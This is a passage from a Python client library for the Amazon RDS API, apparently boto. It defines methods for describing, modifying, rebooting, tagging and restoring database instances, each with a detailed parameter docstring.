max_records=None, marker=None): """ Returns a list of orderable DB instance options for the specified engine. :type engine: string :param engine: The name of the engine to retrieve DB instance options for. :type engine_version: string :param engine_version: The engine version filter value. Specify this parameter to show only the available offerings matching the specified engine version. :type db_instance_class: string :param db_instance_class: The DB instance class filter value. Specify this parameter to show only the available offerings matching the specified DB instance class. :type license_model: string :param license_model: The license model filter value. Specify this parameter to show only the available offerings matching the specified license model. :type vpc: boolean :param vpc: The VPC filter value. Specify this parameter to show only the available VPC or non-VPC offerings. :type max_records: integer :param max_records: The maximum number of records to include in the response. If more records exist than the specified `MaxRecords` value, a pagination token called a marker is included in the response so that the remaining results can be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous DescribeOrderableDBInstanceOptions request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords` . """ params = {'Engine': engine, } if engine_version is not None: params['EngineVersion'] = engine_version if db_instance_class is not None: params['DBInstanceClass'] = db_instance_class if license_model is not None: params['LicenseModel'] = license_model if vpc is not None: params['Vpc'] = str( vpc).lower() if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeOrderableDBInstanceOptions', verb='POST', path='/', params=params) def describe_reserved_db_instances(self, reserved_db_instance_id=None, reserved_db_instances_offering_id=None, db_instance_class=None, duration=None, product_description=None, offering_type=None, multi_az=None, filters=None, max_records=None, marker=None): """ Returns information about reserved DB instances for this account, or about a specified reserved DB instance. :type reserved_db_instance_id: string :param reserved_db_instance_id: The reserved DB instance identifier filter value. Specify this parameter to show only the reservation that matches the specified reservation ID. :type reserved_db_instances_offering_id: string :param reserved_db_instances_offering_id: The offering identifier filter value. Specify this parameter to show only purchased reservations matching the specified offering identifier. :type db_instance_class: string :param db_instance_class: The DB instance class filter value. Specify this parameter to show only those reservations matching the specified DB instances class. :type duration: string :param duration: The duration filter value, specified in years or seconds. Specify this parameter to show only reservations for this duration. Valid Values: `1 | 3 | 31536000 | 94608000` :type product_description: string :param product_description: The product description filter value. Specify this parameter to show only those reservations matching the specified product description. :type offering_type: string :param offering_type: The offering type filter value. Specify this parameter to show only the available offerings matching the specified offering type. Valid Values: `"Light Utilization" | "Medium Utilization" | "Heavy Utilization" ` :type multi_az: boolean :param multi_az: The Multi-AZ filter value. Specify this parameter to show only those reservations matching the specified Multi-AZ parameter. :type filters: list :param filters: :type max_records: integer :param max_records: The maximum number of records to include in the response. If more than the `MaxRecords` value is available, a pagination token called a marker is included in the response so that the following results can be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. """ params = {} if reserved_db_instance_id is not None: params['ReservedDBInstanceId'] = reserved_db_instance_id if reserved_db_instances_offering_id is not None: params['ReservedDBInstancesOfferingId'] = reserved_db_instances_offering_id if db_instance_class is not None: params['DBInstanceClass'] = db_instance_class if duration is not None: params['Duration'] = duration if product_description is not None: params['ProductDescription'] = product_description if offering_type is not None: params['OfferingType'] = offering_type if multi_az is not None: params['MultiAZ'] = str( multi_az).lower() if filters is not None: self.build_complex_list_params( params, filters, 'Filters.member', ('FilterName', 'FilterValue')) if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeReservedDBInstances', verb='POST', path='/', params=params) def describe_reserved_db_instances_offerings(self, reserved_db_instances_offering_id=None, db_instance_class=None, duration=None, product_description=None, offering_type=None, multi_az=None, max_records=None, marker=None): """ Lists available reserved DB instance offerings. :type reserved_db_instances_offering_id: string :param reserved_db_instances_offering_id: The offering identifier filter value. Specify this parameter to show only the available offering that matches the specified reservation identifier. Example: `438012d3-4052-4cc7-b2e3-8d3372e0e706` :type db_instance_class: string :param db_instance_class: The DB instance class filter value. Specify this parameter to show only the available offerings matching the specified DB instance class. :type duration: string :param duration: Duration filter value, specified in years or seconds. Specify this parameter to show only reservations for this duration. Valid Values: `1 | 3 | 31536000 | 94608000` :type product_description: string :param product_description: Product description filter value. Specify this parameter to show only the available offerings matching the specified product description. :type offering_type: string :param offering_type: The offering type filter value. Specify this parameter to show only the available offerings matching the specified offering type. Valid Values: `"Light Utilization" | "Medium Utilization" | "Heavy Utilization" ` :type multi_az: boolean :param multi_az: The Multi-AZ filter value. Specify this parameter to show only the available offerings matching the specified Multi-AZ parameter. :type max_records: integer :param max_records: The maximum number of records to include in the response. If more than the `MaxRecords` value is available, a pagination token called a marker is included in the response so that the following results can be retrieved. Default: 100 Constraints: minimum 20, maximum 100 :type marker: string :param marker: An optional pagination token provided by a previous request. If this parameter is specified, the response includes only records beyond the marker, up to the value specified by `MaxRecords`. """ params = {} if reserved_db_instances_offering_id is not None: params['ReservedDBInstancesOfferingId'] = reserved_db_instances_offering_id if db_instance_class is not None: params['DBInstanceClass'] = db_instance_class if duration is not None: params['Duration'] = duration if product_description is not None: params['ProductDescription'] = product_description if offering_type is not None: params['OfferingType'] = offering_type if multi_az is not None: params['MultiAZ'] = str( multi_az).lower() if max_records is not None: params['MaxRecords'] = max_records if marker is not None: params['Marker'] = marker return self._make_request( action='DescribeReservedDBInstancesOfferings', verb='POST', path='/', params=params) def download_db_log_file_portion(self, db_instance_identifier, log_file_name, marker=None, number_of_lines=None): """ Downloads the last line of the specified log file. :type db_instance_identifier: string :param db_instance_identifier: The customer-assigned name of the DB instance that contains the log files you want to list. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type log_file_name: string :param log_file_name: The name of the log file to be downloaded. :type marker: string :param marker: The pagination token provided in the previous request. If this parameter is specified the response includes only records beyond the marker, up to MaxRecords. :type number_of_lines: integer :param number_of_lines: The number of lines remaining to be downloaded. """ params = { 'DBInstanceIdentifier': db_instance_identifier, 'LogFileName': log_file_name, } if marker is not None: params['Marker'] = marker if number_of_lines is not None: params['NumberOfLines'] = number_of_lines return self._make_request( action='DownloadDBLogFilePortion', verb='POST', path='/', params=params) def list_tags_for_resource(self, resource_name): """ Lists all tags on an Amazon RDS resource. For an overview on tagging an Amazon RDS resource, see `Tagging Amazon RDS Resources`_. :type resource_name: string :param resource_name: The Amazon RDS resource with tags to be listed. This value is an Amazon Resource Name (ARN). For information about creating an ARN, see ` Constructing an RDS Amazon Resource Name (ARN)`_. """ params = {'ResourceName': resource_name, } return self._make_request( action='ListTagsForResource', verb='POST', path='/', params=params) def modify_db_instance(self, db_instance_identifier, allocated_storage=None, db_instance_class=None, db_security_groups=None, vpc_security_group_ids=None, apply_immediately=None, master_user_password=None, db_parameter_group_name=None, backup_retention_period=None, preferred_backup_window=None, preferred_maintenance_window=None, multi_az=None, engine_version=None, allow_major_version_upgrade=None, auto_minor_version_upgrade=None, iops=None, option_group_name=None, new_db_instance_identifier=None): """ Modify settings for a DB instance. You can change one or more database configuration parameters by specifying these parameters and the new values in the request. :type db_instance_identifier: string :param db_instance_identifier: The DB instance identifier. This value is stored as a lowercase string. Constraints: + Must be the identifier for an existing DB instance + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type allocated_storage: integer :param allocated_storage: The new storage capacity of the RDS instance. Changing this parameter does not result in an outage and the change is applied during the next maintenance window unless the `ApplyImmediately` parameter is set to `True` for this request. **MySQL** Default: Uses existing setting Valid Values: 5-1024 Constraints: Value supplied must be at least 10% greater than the current value. Values that are not at least 10% greater than the existing value are rounded up so that they are 10% greater than the current value. Type: Integer **Oracle** Default: Uses existing setting Valid Values: 10-1024 Constraints: Value supplied must be at least 10% greater than the current value. Values that are not at least 10% greater than the existing value are rounded up so that they are 10% greater than the current value. **SQL Server** Cannot be modified. If you choose to migrate your DB instance from using standard storage to using Provisioned IOPS, or from using Provisioned IOPS to using standard storage, the process can take time. The duration of the migration depends on several factors such as database load, storage size, storage type (standard or Provisioned IOPS), amount of IOPS provisioned (if any), and the number of prior scale storage operations. Typical migration times are under 24 hours, but the process can take up to several days in some cases. During the migration, the DB instance will be available for use, but may experience performance degradation. While the migration takes place, nightly backups for the instance will be suspended. No other Amazon RDS operations can take place for the instance, including modifying the instance, rebooting the instance, deleting the instance, creating a read replica for the instance, and creating a DB snapshot of the instance. :type db_instance_class: string :param db_instance_class: The new compute and memory capacity of the DB instance. To determine the instance classes that are available for a particular DB engine, use the DescribeOrderableDBInstanceOptions action. Passing a value for this parameter causes an outage during the change and is applied during the next maintenance window, unless the `ApplyImmediately` parameter is specified as `True` for this request. Default: Uses existing setting Valid Values: `db.t1.micro | db.m1.small | db.m1.medium | db.m1.large | db.m1.xlarge | db.m2.xlarge | db.m2.2xlarge | db.m2.4xlarge` :type db_security_groups: list :param db_security_groups: A list of DB security groups to authorize on this DB instance. Changing this parameter does not result in an outage and the change is asynchronously applied as soon as possible. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type vpc_security_group_ids: list :param vpc_security_group_ids: A list of EC2 VPC security groups to authorize on this DB instance. This change is asynchronously applied as soon as possible. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type apply_immediately: boolean :param apply_immediately: Specifies whether or not the modifications in this request and any pending modifications are asynchronously applied as soon as possible, regardless of the `PreferredMaintenanceWindow` setting for the DB instance. If this parameter is passed as `False`, changes to the DB instance are applied on the next call to RebootDBInstance, the next maintenance reboot, or the next failure reboot, whichever occurs first. See each parameter to determine when a change is applied. Default: `False` :type master_user_password: string :param master_user_password: The new password for the DB instance master user. Can be any printable ASCII character except "/", '"', or "@". Changing this parameter does not result in an outage and the change is asynchronously applied as soon as possible. Between the time of the request and the completion of the request, the `MasterUserPassword` element exists in the `PendingModifiedValues` element of the operation response. Default: Uses existing setting Constraints: Must be 8 to 41 alphanumeric characters (MySQL), 8 to 30 alphanumeric characters (Oracle), or 8 to 128 alphanumeric characters (SQL Server). Amazon RDS API actions never return the password, so this action provides a way to regain access to a master instance user if the password is lost. :type db_parameter_group_name: string :param db_parameter_group_name: The name of the DB parameter group to apply to this DB instance. Changing this parameter does not result in an outage and the change is applied during the next maintenance window unless the `ApplyImmediately` parameter is set to `True` for this request. Default: Uses existing setting Constraints: The DB parameter group must be in the same DB parameter group family as this DB instance. :type backup_retention_period: integer :param backup_retention_period: The number of days to retain automated backups. Setting this parameter to a positive number enables backups. Setting this parameter to 0 disables automated backups. Changing this parameter can result in an outage if you change from 0 to a non-zero value or from a non-zero value to 0. These changes are applied during the next maintenance window unless the `ApplyImmediately` parameter is set to `True` for this request. If you change the parameter from one non-zero value to another non- zero value, the change is asynchronously applied as soon as possible. Default: Uses existing setting Constraints: + Must be a value from 0 to 8 + Cannot be set to 0 if the DB instance is a master instance with read replicas or if the DB instance is a read replica :type preferred_backup_window: string :param preferred_backup_window: The daily time range during which automated backups are created if automated backups are enabled, as determined by the `BackupRetentionPeriod`. Changing this parameter does not result in an outage and the change is asynchronously applied as soon as possible. Constraints: + Must be in the format hh24:mi-hh24:mi + Times should be Universal Time Coordinated (UTC) + Must not conflict with the preferred maintenance window + Must be at least 30 minutes :type preferred_maintenance_window: string :param preferred_maintenance_window: The weekly time range (in UTC) during which system maintenance can occur, which may result in an outage. Changing this parameter does not result in an outage, except in the following situation, and the change is asynchronously applied as soon as possible. If there are pending actions that cause a reboot, and the maintenance window is changed to include the current time, then changing this parameter will cause a reboot of the DB instance. If moving this window to the current time, there must be at least 30 minutes between the current time and end of the window to ensure pending changes are applied. Default: Uses existing setting Format: ddd:hh24:mi-ddd:hh24:mi Valid Days: Mon | Tue | Wed | Thu | Fri | Sat | Sun Constraints: Must be at least 30 minutes :type multi_az: boolean :param multi_az: Specifies if the DB instance is a Multi-AZ deployment. Changing this parameter does not result in an outage and the change is applied during the next maintenance window unless the `ApplyImmediately` parameter is set to `True` for this request. Constraints: Cannot be specified if the DB instance is a read replica. :type engine_version: string :param engine_version: The version number of the database engine to upgrade to. Changing this parameter results in an outage and the change is applied during the next maintenance window unless the `ApplyImmediately` parameter is set to `True` for this request. For major version upgrades, if a non-default DB parameter group is currently in use, a new DB parameter group in the DB parameter group family for the new engine version must be specified. The new DB parameter group can be the default for that DB parameter group family. Example: `5.1.42` :type allow_major_version_upgrade: boolean :param allow_major_version_upgrade: Indicates that major version upgrades are allowed. Changing this parameter does not result in an outage and the change is asynchronously applied as soon as possible. Constraints: This parameter must be set to true when specifying a value for the EngineVersion parameter that is a different major version than the DB instance's current version. :type auto_minor_version_upgrade: boolean :param auto_minor_version_upgrade: Indicates that minor version upgrades will be applied automatically to the DB instance during the maintenance window. Changing this parameter does not result in an outage except in the following case and the change is asynchronously applied as soon as possible. An outage will result if this parameter is set to `True` during the maintenance window, and a newer minor version is available, and RDS has enabled auto patching for that engine version. :type iops: integer :param iops: The new Provisioned IOPS (I/O operations per second) value for the RDS instance. Changing this parameter does not result in an outage and the change is applied during the next maintenance window unless the `ApplyImmediately` parameter is set to `True` for this request. Default: Uses existing setting Constraints: Value supplied must be at least 10% greater than the current value. Values that are not at least 10% greater than the existing value are rounded up so that they are 10% greater than the current value. Type: Integer If you choose to migrate your DB instance from using standard storage to using Provisioned IOPS, or from using Provisioned IOPS to using standard storage, the process can take time. The duration of the migration depends on several factors such as database load, storage size, storage type (standard or Provisioned IOPS), amount of IOPS provisioned (if any), and the number of prior scale storage operations. Typical migration times are under 24 hours, but the process can take up to several days in some cases. During the migration, the DB instance will be available for use, but may experience performance degradation. While the migration takes place, nightly backups for the instance will be suspended. No other Amazon RDS operations can take place for the instance, including modifying the instance, rebooting the instance, deleting the instance, creating a read replica for the instance, and creating a DB snapshot of the instance. :type option_group_name: string :param option_group_name: Indicates that the DB instance should be associated with the specified option group. Changing this parameter does not result in an outage except in the following case and the change is applied during the next maintenance window unless the `ApplyImmediately` parameter is set to `True` for this request. If the parameter change results in an option group that enables OEM, this change can cause a brief (sub-second) period during which new connections are rejected but existing connections are not interrupted. Permanent options, such as the TDE option for Oracle Advanced Security TDE, cannot be removed from an option group, and that option group cannot be removed from a DB instance once it is associated with a DB instance :type new_db_instance_identifier: string :param new_db_instance_identifier: The new DB instance identifier for the DB instance when renaming a DB Instance. This value is stored as a lowercase string. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens """ params = {'DBInstanceIdentifier': db_instance_identifier, } if allocated_storage is not None: params['AllocatedStorage'] = allocated_storage if db_instance_class is not None: params['DBInstanceClass'] = db_instance_class if db_security_groups is not None: self.build_list_params(params, db_security_groups, 'DBSecurityGroups.member') if vpc_security_group_ids is not None: self.build_list_params(params, vpc_security_group_ids, 'VpcSecurityGroupIds.member') if apply_immediately is not None: params['ApplyImmediately'] = str( apply_immediately).lower() if master_user_password is not None: params['MasterUserPassword'] = master_user_password if db_parameter_group_name is not None: params['DBParameterGroupName'] = db_parameter_group_name if backup_retention_period is not None: params['BackupRetentionPeriod'] = backup_retention_period if preferred_backup_window is not None: params['PreferredBackupWindow'] = preferred_backup_window if preferred_maintenance_window is not None: params['PreferredMaintenanceWindow'] = preferred_maintenance_window if multi_az is not None: params['MultiAZ'] = str( multi_az).lower() if engine_version is not None: params['EngineVersion'] = engine_version if allow_major_version_upgrade is not None: params['AllowMajorVersionUpgrade'] = str( allow_major_version_upgrade).lower() if auto_minor_version_upgrade is not None: params['AutoMinorVersionUpgrade'] = str( auto_minor_version_upgrade).lower() if iops is not None: params['Iops'] = iops if option_group_name is not None: params['OptionGroupName'] = option_group_name if new_db_instance_identifier is not None: params['NewDBInstanceIdentifier'] = new_db_instance_identifier return self._make_request( action='ModifyDBInstance', verb='POST', path='/', params=params) def modify_db_parameter_group(self, db_parameter_group_name, parameters): """ Modifies the parameters of a DB parameter group. To modify more than one parameter, submit a list of the following: `ParameterName`, `ParameterValue`, and `ApplyMethod`. A maximum of 20 parameters can be modified in a single request. The `apply-immediate` method can be used only for dynamic parameters; the `pending-reboot` method can be used with MySQL and Oracle DB instances for either dynamic or static parameters. For Microsoft SQL Server DB instances, the `pending-reboot` method can be used only for static parameters. :type db_parameter_group_name: string :param db_parameter_group_name: The name of the DB parameter group. Constraints: + Must be the name of an existing DB parameter group + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type parameters: list :param parameters: An array of parameter names, values, and the apply method for the parameter update. At least one parameter name, value, and apply method must be supplied; subsequent arguments are optional. A maximum of 20 parameters may be modified in a single request. Valid Values (for the application method): `immediate | pending-reboot` You can use the immediate value with dynamic parameters only. You can use the pending-reboot value for both dynamic and static parameters, and changes are applied when DB instance reboots. """ params = {'DBParameterGroupName': db_parameter_group_name, } self.build_complex_list_params( params, parameters, 'Parameters.member', ('ParameterName', 'ParameterValue', 'Description', 'Source', 'ApplyType', 'DataType', 'AllowedValues', 'IsModifiable', 'MinimumEngineVersion', 'ApplyMethod')) return self._make_request( action='ModifyDBParameterGroup', verb='POST', path='/', params=params) def modify_db_subnet_group(self, db_subnet_group_name, subnet_ids, db_subnet_group_description=None): """ Modifies an existing DB subnet group. DB subnet groups must contain at least one subnet in at least two AZs in the region. :type db_subnet_group_name: string :param db_subnet_group_name: The name for the DB subnet group. This value is stored as a lowercase string. Constraints: Must contain no more than 255 alphanumeric characters or hyphens. Must not be "Default". Example: `mySubnetgroup` :type db_subnet_group_description: string :param db_subnet_group_description: The description for the DB subnet group. :type subnet_ids: list :param subnet_ids: The EC2 subnet IDs for the DB subnet group. """ params = {'DBSubnetGroupName': db_subnet_group_name, } self.build_list_params(params, subnet_ids, 'SubnetIds.member') if db_subnet_group_description is not None: params['DBSubnetGroupDescription'] = db_subnet_group_description return self._make_request( action='ModifyDBSubnetGroup', verb='POST', path='/', params=params) def modify_event_subscription(self, subscription_name, sns_topic_arn=None, source_type=None, event_categories=None, enabled=None): """ Modifies an existing RDS event notification subscription. Note that you cannot modify the source identifiers using this call; to change source identifiers for a subscription, use the AddSourceIdentifierToSubscription and RemoveSourceIdentifierFromSubscription calls. You can see a list of the event categories for a given SourceType in the `Events`_ topic in the Amazon RDS User Guide or by using the **DescribeEventCategories** action. :type subscription_name: string :param subscription_name: The name of the RDS event notification subscription. :type sns_topic_arn: string :param sns_topic_arn: The Amazon Resource Name (ARN) of the SNS topic created for event notification. The ARN is created by Amazon SNS when you create a topic and subscribe to it. :type source_type: string :param source_type: The type of source that will be generating the events. For example, if you want to be notified of events generated by a DB instance, you would set this parameter to db-instance. if this value is not specified, all events are returned. Valid values: db-instance | db-parameter-group | db-security-group | db-snapshot :type event_categories: list :param event_categories: A list of event categories for a SourceType that you want to subscribe to. You can see a list of the categories for a given SourceType in the `Events`_ topic in the Amazon RDS User Guide or by using the **DescribeEventCategories** action. :type enabled: boolean :param enabled: A Boolean value; set to **true** to activate the subscription. """ params = {'SubscriptionName': subscription_name, } if sns_topic_arn is not None: params['SnsTopicArn'] = sns_topic_arn if source_type is not None: params['SourceType'] = source_type if event_categories is not None: self.build_list_params(params, event_categories, 'EventCategories.member') if enabled is not None: params['Enabled'] = str( enabled).lower() return self._make_request( action='ModifyEventSubscription', verb='POST', path='/', params=params) def modify_option_group(self, option_group_name, options_to_include=None, options_to_remove=None, apply_immediately=None): """ Modifies an existing option group. :type option_group_name: string :param option_group_name: The name of the option group to be modified. Permanent options, such as the TDE option for Oracle Advanced Security TDE, cannot be removed from an option group, and that option group cannot be removed from a DB instance once it is associated with a DB instance :type options_to_include: list :param options_to_include: Options in this list are added to the option group or, if already present, the specified configuration is used to update the existing configuration. :type options_to_remove: list :param options_to_remove: Options in this list are removed from the option group. :type apply_immediately: boolean :param apply_immediately: Indicates whether the changes should be applied immediately, or during the next maintenance window for each instance associated with the option group. """ params = {'OptionGroupName': option_group_name, } if options_to_include is not None: self.build_complex_list_params( params, options_to_include, 'OptionsToInclude.member', ('OptionName', 'Port', 'DBSecurityGroupMemberships', 'VpcSecurityGroupMemberships', 'OptionSettings')) if options_to_remove is not None: self.build_list_params(params, options_to_remove, 'OptionsToRemove.member') if apply_immediately is not None: params['ApplyImmediately'] = str( apply_immediately).lower() return self._make_request( action='ModifyOptionGroup', verb='POST', path='/', params=params) def promote_read_replica(self, db_instance_identifier, backup_retention_period=None, preferred_backup_window=None): """ Promotes a read replica DB instance to a standalone DB instance. :type db_instance_identifier: string :param db_instance_identifier: The DB instance identifier. This value is stored as a lowercase string. Constraints: + Must be the identifier for an existing read replica DB instance + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens Example: mydbinstance :type backup_retention_period: integer :param backup_retention_period: The number of days to retain automated backups. Setting this parameter to a positive number enables backups. Setting this parameter to 0 disables automated backups. Default: 1 Constraints: + Must be a value from 0 to 8 :type preferred_backup_window: string :param preferred_backup_window: The daily time range during which automated backups are created if automated backups are enabled, using the `BackupRetentionPeriod` parameter. Default: A 30-minute window selected at random from an 8-hour block of time per region. See the Amazon RDS User Guide for the time blocks for each region from which the default backup windows are assigned. Constraints: Must be in the format `hh24:mi-hh24:mi`. Times should be Universal Time Coordinated (UTC). Must not conflict with the preferred maintenance window. Must be at least 30 minutes. """ params = {'DBInstanceIdentifier': db_instance_identifier, } if backup_retention_period is not None: params['BackupRetentionPeriod'] = backup_retention_period if preferred_backup_window is not None: params['PreferredBackupWindow'] = preferred_backup_window return self._make_request( action='PromoteReadReplica', verb='POST', path='/', params=params) def purchase_reserved_db_instances_offering(self, reserved_db_instances_offering_id, reserved_db_instance_id=None, db_instance_count=None, tags=None): """ Purchases a reserved DB instance offering. :type reserved_db_instances_offering_id: string :param reserved_db_instances_offering_id: The ID of the Reserved DB instance offering to purchase. Example: 438012d3-4052-4cc7-b2e3-8d3372e0e706 :type reserved_db_instance_id: string :param reserved_db_instance_id: Customer-specified identifier to track this reservation. Example: myreservationID :type db_instance_count: integer :param db_instance_count: The number of instances to reserve. Default: `1` :type tags: list :param tags: A list of tags. """ params = { 'ReservedDBInstancesOfferingId': reserved_db_instances_offering_id, } if reserved_db_instance_id is not None: params['ReservedDBInstanceId'] = reserved_db_instance_id if db_instance_count is not None: params['DBInstanceCount'] = db_instance_count if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='PurchaseReservedDBInstancesOffering', verb='POST', path='/', params=params) def reboot_db_instance(self, db_instance_identifier, force_failover=None): """ Rebooting a DB instance restarts the database engine service. A reboot also applies to the DB instance any modifications to the associated DB parameter group that were pending. Rebooting a DB instance results in a momentary outage of the instance, during which the DB instance status is set to rebooting. If the RDS instance is configured for MultiAZ, it is possible that the reboot will be conducted through a failover. An Amazon RDS event is created when the reboot is completed. If your DB instance is deployed in multiple Availability Zones, you can force a failover from one AZ to the other during the reboot. You might force a failover to test the availability of your DB instance deployment or to restore operations to the original AZ after a failover occurs. The time required to reboot is a function of the specific database engine's crash recovery process. To improve the reboot time, we recommend that you reduce database activities as much as possible during the reboot process to reduce rollback activity for in-transit transactions. :type db_instance_identifier: string :param db_instance_identifier: The DB instance identifier. This parameter is stored as a lowercase string. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type force_failover: boolean :param force_failover: When `True`, the reboot will be conducted through a MultiAZ failover. Constraint: You cannot specify `True` if the instance is not configured for MultiAZ. """ params = {'DBInstanceIdentifier': db_instance_identifier, } if force_failover is not None: params['ForceFailover'] = str( force_failover).lower() return self._make_request( action='RebootDBInstance', verb='POST', path='/', params=params) def remove_source_identifier_from_subscription(self, subscription_name, source_identifier): """ Removes a source identifier from an existing RDS event notification subscription. :type subscription_name: string :param subscription_name: The name of the RDS event notification subscription you want to remove a source identifier from. :type source_identifier: string :param source_identifier: The source identifier to be removed from the subscription, such as the **DB instance identifier** for a DB instance or the name of a security group. """ params = { 'SubscriptionName': subscription_name, 'SourceIdentifier': source_identifier, } return self._make_request( action='RemoveSourceIdentifierFromSubscription', verb='POST', path='/', params=params) def remove_tags_from_resource(self, resource_name, tag_keys): """ Removes metadata tags from an Amazon RDS resource. For an overview on tagging an Amazon RDS resource, see `Tagging Amazon RDS Resources`_. :type resource_name: string :param resource_name: The Amazon RDS resource the tags will be removed from. This value is an Amazon Resource Name (ARN). For information about creating an ARN, see ` Constructing an RDS Amazon Resource Name (ARN)`_. :type tag_keys: list :param tag_keys: The tag key (name) of the tag to be removed. """ params = {'ResourceName': resource_name, } self.build_list_params(params, tag_keys, 'TagKeys.member') return self._make_request( action='RemoveTagsFromResource', verb='POST', path='/', params=params) def reset_db_parameter_group(self, db_parameter_group_name, reset_all_parameters=None, parameters=None): """ Modifies the parameters of a DB parameter group to the engine/system default value. To reset specific parameters submit a list of the following: `ParameterName` and `ApplyMethod`. To reset the entire DB parameter group, specify the `DBParameterGroup` name and `ResetAllParameters` parameters. When resetting the entire group, dynamic parameters are updated immediately and static parameters are set to `pending-reboot` to take effect on the next DB instance restart or `RebootDBInstance` request. :type db_parameter_group_name: string :param db_parameter_group_name: The name of the DB parameter group. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type reset_all_parameters: boolean :param reset_all_parameters: Specifies whether ( `True`) or not ( `False`) to reset all parameters in the DB parameter group to default values. Default: `True` :type parameters: list :param parameters: An array of parameter names, values, and the apply method for the parameter update. At least one parameter name, value, and apply method must be supplied; subsequent arguments are optional. A maximum of 20 parameters may be modified in a single request. **MySQL** Valid Values (for Apply method): `immediate` | `pending-reboot` You can use the immediate value with dynamic parameters only. You can use the `pending-reboot` value for both dynamic and static parameters, and changes are applied when DB instance reboots. **Oracle** Valid Values (for Apply method): `pending-reboot` """ params = {'DBParameterGroupName': db_parameter_group_name, } if reset_all_parameters is not None: params['ResetAllParameters'] = str( reset_all_parameters).lower() if parameters is not None: self.build_complex_list_params( params, parameters, 'Parameters.member', ('ParameterName', 'ParameterValue', 'Description', 'Source', 'ApplyType', 'DataType', 'AllowedValues', 'IsModifiable', 'MinimumEngineVersion', 'ApplyMethod')) return self._make_request( action='ResetDBParameterGroup', verb='POST', path='/', params=params) def restore_db_instance_from_db_snapshot(self, db_instance_identifier, db_snapshot_identifier, db_instance_class=None, port=None, availability_zone=None, db_subnet_group_name=None, multi_az=None, publicly_accessible=None, auto_minor_version_upgrade=None, license_model=None, db_name=None, engine=None, iops=None, option_group_name=None, tags=None): """ Creates a new DB instance from a DB snapshot. The target database is created from the source database restore point with the same configuration as the original source database, except that the new RDS instance is created with the default security group. :type db_instance_identifier: string :param db_instance_identifier: The identifier for the DB snapshot to restore from. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type db_snapshot_identifier: string :param db_snapshot_identifier: Name of the DB instance to create from the DB snapshot. This parameter isn't case sensitive. Constraints: + Must contain from 1 to 255 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens Example: `my-snapshot-id` :type db_instance_class: string :param db_instance_class: The compute and memory capacity of the Amazon RDS DB instance. Valid Values: `db.t1.micro | db.m1.small | db.m1.medium | db.m1.large | db.m1.xlarge | db.m2.2xlarge | db.m2.4xlarge` :type port: integer :param port: The port number on which the database accepts connections. Default: The same port as the original DB instance Constraints: Value must be `1150-65535` :type availability_zone: string :param availability_zone: The EC2 Availability Zone that the database instance will be created in. Default: A random, system-chosen Availability Zone. Constraint: You cannot specify the AvailabilityZone parameter if the MultiAZ parameter is set to `True`. Example: `us-east-1a` :type db_subnet_group_name: string :param db_subnet_group_name: The DB subnet group name to use for the new instance. :type multi_az: boolean :param multi_az: Specifies if the DB instance is a Multi-AZ deployment. Constraint: You cannot specify the AvailabilityZone parameter if the MultiAZ parameter is set to `True`. :type publicly_accessible: boolean :param publicly_accessible: Specifies the accessibility options for the DB instance. A value of true specifies an Internet-facing instance with a publicly resolvable DNS name, which resolves to a public IP address. A value of false specifies an internal instance with a DNS name that resolves to a private IP address. Default: The default behavior varies depending on whether a VPC has been requested or not. The following list shows the default behavior in each case. + **Default VPC:**true + **VPC:**false If no DB subnet group has been specified as part of the request and the PubliclyAccessible value has not been set, the DB instance will be publicly accessible. If a specific DB subnet group has been specified as part of the request and the PubliclyAccessible value has not been set, the DB instance will be private. :type auto_minor_version_upgrade: boolean :param auto_minor_version_upgrade: Indicates that minor version upgrades will be applied automatically to the DB instance during the maintenance window. :type license_model: string :param license_model: License model information for the restored DB instance. Default: Same as source. Valid values: `license-included` | `bring-your-own-license` | `general- public-license` :type db_name: string :param db_name: The database name for the restored DB instance. This parameter doesn't apply to the MySQL engine. :type engine: string :param engine: The database engine to use for the new instance. Default: The same as source Constraint: Must be compatible with the engine of the source Example: `oracle-ee` :type iops: integer :param iops: Specifies the amount of provisioned IOPS for the DB instance, expressed in I/O operations per second. If this parameter is not specified, the IOPS value will be taken from the backup. If this parameter is set to 0, the new instance will be converted to a non-PIOPS instance, which will take additional time, though your DB instance will be available for connections before the conversion starts. Constraints: Must be an integer greater than 1000. :type option_group_name: string :param option_group_name: The name of the option group to be used for the restored DB instance. Permanent options, such as the TDE option for Oracle Advanced Security TDE, cannot be removed from an option group, and that option group cannot be removed from a DB instance once it is associated with a DB instance :type tags: list :param tags: A list of tags. """ params = { 'DBInstanceIdentifier': db_instance_identifier, 'DBSnapshotIdentifier': db_snapshot_identifier, } if db_instance_class is not None: params['DBInstanceClass'] = db_instance_class if port is not None: params['Port'] = port if availability_zone is not None: params['AvailabilityZone'] = availability_zone if db_subnet_group_name is not None: params['DBSubnetGroupName'] = db_subnet_group_name if multi_az is not None: 